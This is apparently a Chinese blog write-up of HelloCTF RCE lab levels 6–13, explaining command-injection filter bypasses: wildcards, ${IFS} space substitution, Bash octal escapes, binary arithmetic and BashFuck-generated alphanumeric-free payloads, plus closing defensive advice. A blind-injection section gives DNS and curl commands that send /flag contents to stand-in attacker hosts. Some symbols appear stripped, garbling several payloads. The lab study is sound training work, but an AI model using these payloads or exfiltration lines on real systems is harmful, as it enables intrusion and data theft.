从HelloCTF靶场实战解析无字母数字RCE:Bash特性与BashFuck工具深度剖析

发布时间:2026/8/10 1:24:01
从HelloCTF靶场实战解析无字母数字RCE:Bash特性与BashFuck工具深度剖析 1. 项目概述与核心思路最近在HelloCTF的RCE靶场里泡了几天从Level 6一路磕磕绊绊打到Level 13感触最深的就是那些“奇葩”的命令执行绕过姿势。这些关卡的设计非常巧妙它们没有简单地堆砌黑名单而是层层递进地限制字符集逼迫你跳出常规的cat /flag思维去深入理解Shell解析命令的底层逻辑。尤其是从Level 9开始的“无字母数字命令执行”系列简直是把Bash的特性玩出了花最终甚至需要借助专门的工具“BashFuck”才能构造出可用的Payload。这篇文章我就结合自己的实战踩坑经历把这几个关卡的核心绕过思路、背后的Bash特性原理以及BashFuck工具的使用心得系统地梳理一遍。无论你是刚接触RCE的萌新还是想深化理解的老手相信这些从靶场实战中提炼出的“骚操作”和底层原理都能让你对命令执行漏洞有全新的认识。2. 靶场环境与关卡设计解析2.1 HelloCTF RCE靶场概览HelloCTF的RCE-labs靶场是一个专注于收集和训练远程代码/命令执行技巧的练习平台。它的设计并非追求漏洞场景的复杂多变而是聚焦于“绕过”本身。靶场将RCE攻击拆解成一个个具体的限制条件例如过滤空格、禁用字母数字、限制命令长度等让你在近乎“纯净”的环境下专注思考如何利用有限的字符集达成命令执行。从Level 6到Level 13可以看作一个完整的“命令执行字符集限制绕过”进阶教程。2.2 Level 6-13 核心限制与目标这八个关卡的核心挑战是在服务端存在命令注入点例如system($_GET[‘cmd’])的前提下如何构造一个有效的Payload来读取/flag文件。每个关卡都设置了不同的字符过滤规则Level 6: 通配符匹配绕过允许使用字母、数字和部分符号但需要巧妙运用通配符来匹配命令和文件路径。Level 7: 空格过滤过滤了空格字符需要找到替代空格的表示方法。Level 8: 文件描述符和重定向引入了输入输出重定向的概念作为命令拼接或文件读取的替代手段。Level 9-13: 无字母数字命令执行这是重头戏。从Level 9开始字符集被极度限制最终可能只允许使用如# $ ‘ ( ) 0 1 \等少数几个字符。目标是用这些字符“拼凑”出任意命令。整个通关过程是一个对Shell特别是Bash特性理解不断加深的过程。你不能再依赖现成的命令单词而是要从计算机最基础的数学运算、变量替换、命令解析顺序等角度去“创造”命令。3. 基础绕过技巧回顾 (Level 6-8)在进入“地狱难度”的无字母数字世界前我们先快速回顾前三个关卡巩固基础这些技巧在后续复杂绕过中也会作为基础组件出现。3.1 Level 6通配符的妙用这一关允许的字符集相对宽松但关键是要使用通配符来匹配系统命令和/flag文件路径。核心思路是在Linux中?通配符可以匹配任意单个字符*可以匹配任意多个字符。绕过实战假设我们想执行cat /flag。直接输入肯定被过滤。我们可以利用/bin/cat这个绝对路径并用?来替代其中不确定的字母。首先确定cat命令的位置通常是/bin/cat或/usr/bin/cat。我们可以用/???/?at来匹配。/???/匹配了/bin/或/usr/等三字母目录?at匹配了cat。同样/flag可以用/??a?来匹配。因为flag是四个字母/??a?可以匹配到它。因此Payload可以是/???/?at /??a?。这会在系统中展开为/bin/cat /flag并执行。注意事项与心得通配符展开是由Shell完成的system()函数接收到Payload后Shell会先进行展开再执行展开后的命令。如果系统中存在多个匹配项例如既有/bin/cat又有/bin/batShell可能会报错或执行第一个匹配到的命令存在不确定性。在实际漏洞利用中使用绝对路径/bin/cat的匹配成功率更高。除了cat还可以考虑其他读文件命令如/???/b??64 /??a?使用base64编码输出或/???/tac /??a?反向输出以应对可能对cat进行的过滤。3.2 Level 7空格的替代方案这一关过滤了空格space但命令执行需要分隔命令和参数。我们需要找到在Shell中能起到“参数分隔”作用而又不是空格的字符。核心绕过姿势使用${IFS}变量IFSInternal Field Separator是Shell的内部字段分隔符默认值包含空格、制表符和换行符。${IFS}可以直接替代空格。Payloadcat${IFS}/flag。使用重定向符用于从文件读取输入。cat/flag等价于cat /flag因为cat命令会从/flag文件读取内容。这是非常常用且有效的方法。使用大括号{}扩展在Bash中{cat,/flag}会被扩展为cat /flag两个参数。Payload{cat,/flag}。使用制表符%09URL编码制表符在某些上下文中也能作为分隔符。Payloadcat%09/flag需URL编码。使用变量截断例如cat$1/flag或cat$/flag。$1、$等是位置参数当没有传递参数时它们扩展为空字符串但紧随其后的/会与前面的cat连接被Shell解析为cat /flag。Payloadcat$1/flag。实操踩坑点${IFS}在有些非常精简的Shell环境如dash中可能行为有差异而重定向的方式兼容性通常更好。大括号{}扩展是Bash的特性如果目标系统的/bin/sh链接到了dash如Debian/Ubuntu默认则可能不生效。在Docker等容器环境中需要确认Shell类型。制表符绕过可能受Web服务器或应用层URL解码规则影响不是百分百可靠。3.3 Level 8理解文件描述符与重定向这一关更深入地考察对Linux输入输出重定向的理解。虽然可能不直接用于绕过过滤但它是理解后续复杂Payload的基础。关键概念文件描述符File Descriptor0代表标准输入stdin1代表标准输出stdout2代表标准错误stderr。重定向是0的简写输入重定向是1的简写输出重定向。在绕过中的应用命令分隔如前所述cat/flag利用输入重定向避免了空格。隐藏输出cat /flag /dev/null 21可以将正常和错误输出都丢弃在一些盲注场景有用。构造特殊Payload例如echo$IFS$1Y2F0IC9mbGFn|base64$IFS-d|bash这个Payload中|管道符也是重定向思想的一种体现它将前一个命令的输出作为后一个命令的输入。这一关主要是为了让你熟悉这些符号为后面更变态的限制做准备。4. 无字母数字RCE的基石Bash的八进制转义 (Level 9)从Level 9开始画风突变。允许的字符可能仅限于数字、$、‘、\、括号等。这时Bash的一个特性成了救命稻草八进制转义字符。4.1 核心原理在Bash中可以使用$‘\xxx‘的语法来表示一个八进制值对应的ASCII字符。其中\xxx是一个三位八进制数。 例如$‘\154‘表示字符lASCII 108八进制154$‘\163‘表示字符sASCII 115八进制163 因此$‘\154\163‘在Bash中执行就等价于输入了命令ls。4.2 实战构造与局限对于cat /flag我们需要构造其每个字符的八进制形式c - \143a - \141t - \164(空格) - \040/ - \057f - \146l - \154a - \141g - \147拼接起来就是$‘\143\141\164\040\057\146\154\141\147‘。然而这里有一个巨大的坑这个语法是Bash的特性不是所有Shell都支持。常见的/bin/sh可能链接到dashDebian系默认或bash。dash不支持此语法。因此Payload的成功执行依赖于目标环境的Shell是Bash。Level 9的Payload?cmd$‘\143\141\164‘$‘\040\057\146\154\141\147‘这里将命令和参数分开两个八进制字符串中间隐含了空格由两个字符串的间隔产生或者使用Level 7的技巧?cmd$‘\143\141\164‘$‘\057\146\154\141\147‘。5. 走向极致二进制构造与BashFuck工具 (Level 10-13)Level 9允许我们使用数字但如果连数字2-9都被过滤了呢Level 10-13就是这样一个层层加码的过程最终可能只允许使用# $ ‘ ( ) 0 1 \这样的字符集。这就需要用到更底层的构造技巧。5.1 Level 10二进制整数替换核心思路既然不能直接写八进制数字\154我们可以用Bash的算术运算来表示数字。Bash支持$((expression))进行算术运算并且支持$((2#binary))的语法表示二进制数binary对应的十进制值。例如$((2#10011010))等于十进制154即八进制\154。那么\154可以表示为$\‘\$((2#10011010))‘。 但这里又有一个解析顺序的问题$‘...‘中的\xxx是特殊语法而$((...))是另一个展开式。直接嵌套会导致解析失败。我们需要让Shell对结果进行两次解析。解决方案Here String与二次解析使用Here String操作符可以将字符串作为标准输入传递给命令。我们可以这样构造bash $\‘\$((2#10011010))‘但这仍然是一个包含字母bash的命令。我们需要用$0代表当前Shell的名称在交互式Bash中就是bash来替代。同时为了能让$((2#...))被展开我们需要让这个字符串被解析两次。可以这样实现$0$0\\\\$\‘\\$(($((11))#10011010))‘11这是二进制左移运算结果为2用来替代被过滤的数字2。外层$0执行$0即bash并将后面的字符串作为其输入。内层$0是输入字符串的一部分它会在内层Bash中被解析执行。最终内层字符串$\‘\\$(($((11))#10011010))‘会被内层Bash解析展开出八进制转义字符\154从而输出字母l。要执行ls就需要两个这样的字符组合。手工构造已经非常复杂。这正是BashFuck工具诞生的原因。5.2 BashFuck工具实战BashFuck是一个专门用于在极度受限字符集下生成Bash命令Payload的工具。它的原理就是自动化上述的转换过程。使用步骤获取工具通常是一个Python脚本可以从GitHub等平台获取。指定字符集和命令运行脚本指定允许使用的字符Charset和想要执行的命令。生成Payload工具会自动生成一串由允许字符构成的、极其冗长的Payload。例如对于Charset为# $ ‘ ( ) 0 1 \和命令lsBashFuck可能会生成如下天书般的字符串$0$0\\\\$\‘\\$(($((11))#10011010))\\$(($((11))#10100011))‘实战心得环境依赖生成的Payload严重依赖目标系统使用Bash且/bin/sh链接到bash。在实战中这需要提前进行信息搜集。Payload长度生成的Payload非常长可能会受URL长度限制或应用层输入长度限制。工具是辅助理解工具背后的原理二进制构造、算术替换、二次解析比单纯会用工具更重要。这样你才能根据实际情况调整字符集或排查问题。5.3 Level 11-13字符集的进一步限制Level 11-13在Level 10的基础上进一步限制了数字0和1的使用迫使我们去寻找用更少字符表示数字的方法。Level 11: 构造数字1利用${##}。$#表示参数个数默认为0。${#str}表示变量str的长度。${##}中第一个#是长度操作符第二个#是变量名值为0计算0的长度结果为1。于是我们有了数字1的来源可以替代Payload中的1。Level 12: 构造数字0利用${!var}间接引用。如果var0那么${!var}的值就是$0即bash。但我们需要的是数字0。这里常用$(())它代表空算术展开值为0。所以可以用__$(())定义一个变量__为0然后利用它进行后续构造。同时利用${!__}可以得到$0即bash字符串。Level 13: 终极限制可能只允许( ) $ ‘ \等极少数字符。此时构造数字0-7都需要通过复杂的算术运算完成例如用多个-1的叠加和取反来构造。$(())是0$((~$(())))是-1$((~$(($((~$(())))$((~$(())))))))通过多个-1相加再取反可以得到1。如此反复构造出0-7的所有数字进而拼出八进制数字。到了这个阶段手工构造已经几乎不可能完全依赖于BashFuck这类工具的自动化生成。这些关卡的真正价值在于让你透彻理解Bash解析命令、展开变量、进行算术运算的完整顺序和机制。6. 常见问题排查与实战技巧在实际操作这些绕过技巧时你肯定会遇到各种意想不到的问题。下面是我踩过的一些坑和总结的技巧。6.1 环境差异Shell类型是首要问题问题精心构造的Payload特别是基于Bash特性的Payload在靶场通了在真实环境却失败了。排查检查Shell在可能存在注入的点尝试执行echo $0或ls -l /bin/sh。$0输出当前Shell名称ls -l可以查看/bin/sh软链接指向bash还是dash。使用兼容性Payload如果无法确定优先使用兼容性更高的方法如通配符?、*重定向管道|以及${IFS}在dash中可能不行但可尝试$IFS。分步测试先用一个简单的Payload测试命令是否执行如echo$IFS$11或echo$IFS$1YmluYXJ5Cg|base64$IFS-d解码后为binary确认基础执行环境。6.2 特殊字符的编码与转义问题Payload在终端里测试成功但通过URL提交后失效。排查URL编码确保特殊字符被正确编码。空格是%20或是%3C是%3E|是%7C是%26$有时也需要编码为%24。在Burp Suite或浏览器的开发者工具中查看实际发送的请求。引号处理单引号‘和双引号“在Shell和HTTP请求中都有特殊含义。在Bash的$‘...‘语法中单引号是必须的。在URL中它需要被编码为%27。确保整个Payload字符串的引号配对正确。反斜杠转义在生成Payload和传输过程中反斜杠\很容易被错误地转义或删除。在BashFuck生成的Payload中反斜杠是至关重要的。复制粘贴时最好使用纯文本模式并检查数量是否正确。6.3 命令执行无回显的盲注技巧问题命令执行了但看不到输出盲注。技巧时间盲注使用sleep命令。cat /flag sleep 5如果页面响应延迟了5秒说明前一个命令执行成功。DNS外带如果能执行命令且出网这是最有效的方式。cat /flag | base64 | tr -d ‘\n‘ | xxd -p -c 16 | while read line; do dig $line.yourdomain.com; done。将flag内容编码后分段通过DNS查询带出。HTTP外带使用curl或wget。curl http://your-server.com/$(cat /flag|base64|tr -d ‘\n‘)。注意URL长度限制可能需要分段。写入文件再读取如果可以写入web目录cat /flag /var/www/html/flag.txt然后通过web访问这个文件。6.4 工具使用与Payload调试问题BashFuck生成的Payload执行失败。调试步骤本地模拟在Docker中搭建一个与靶场类似的环境如alpine:latest镜像安装bash将/bin/sh链接到bash然后在本地Shell中粘贴Payload执行观察错误信息。简化测试不要一开始就生成cat /flag。先生成一个最简单的echo 1或ls测试整个链路是否通畅。分块测试将生成的超长Payload分成几部分分别测试其输出。例如先测试能否正确展开出bash字符串再测试能否展开出一个字母。检查字符集确认你提供给BashFuck的字符集Charset与目标过滤规则完全一致。多一个少一个字符都可能导致生成失败或Payload无效。查看工具源码理解你使用的BashFuck脚本的生成逻辑。有的工具可能针对不同Shellbash/dash有不同模式选择正确的模式。7. 防御视角与总结经历了这一系列奇葩的绕过姿势作为开发者或安全人员我们应该如何防御白名单优于黑名单永远不要试图过滤所有“坏”字符。相反应该只允许已知安全的字符或命令模式。例如如果参数预期是IP地址就严格用正则匹配IP格式。避免直接拼接命令这是万恶之源。使用安全的API来调用系统命令如Python的subprocess.run()配合shellFalse和参数列表、PHP的escapeshellarg()等。永远不要将用户输入直接放入命令字符串中。最小权限原则运行Web服务的进程应该使用低权限用户并严格限制其文件系统访问权限和系统调用能力。使用沙箱或容器将可能存在命令执行风险的组件隔离在沙箱或容器中限制其能造成的破坏。输入规范化与编码在拼接前对用户输入进行适当的编码或转义但要知道这在面对复杂的Shell解析规则时可能仍不够。回过头看从Level 6到Level 13的挑战是一个将我们“逼向”Shell语言核心的过程。它强迫我们忘记cat、ls这些单词转而思考如何用$、(、)、0、1这些最基本的符号通过变量扩展、算术运算、进程替换等机制“无中生有”地构造出任意命令。这个过程痛苦但极具启发性。它让我明白真正的安全不能依赖于对攻击手法的穷举认知而必须建立在“不信任任何用户输入”和“最小化攻击面”的根本原则之上。下次再写system()这类函数时手都会抖三抖。而对于渗透测试人员来说这些技巧则是突破最后一道防线的利器在极端受限的环境下一线生机往往就藏在这些对底层特性的深刻理解之中。

相关新闻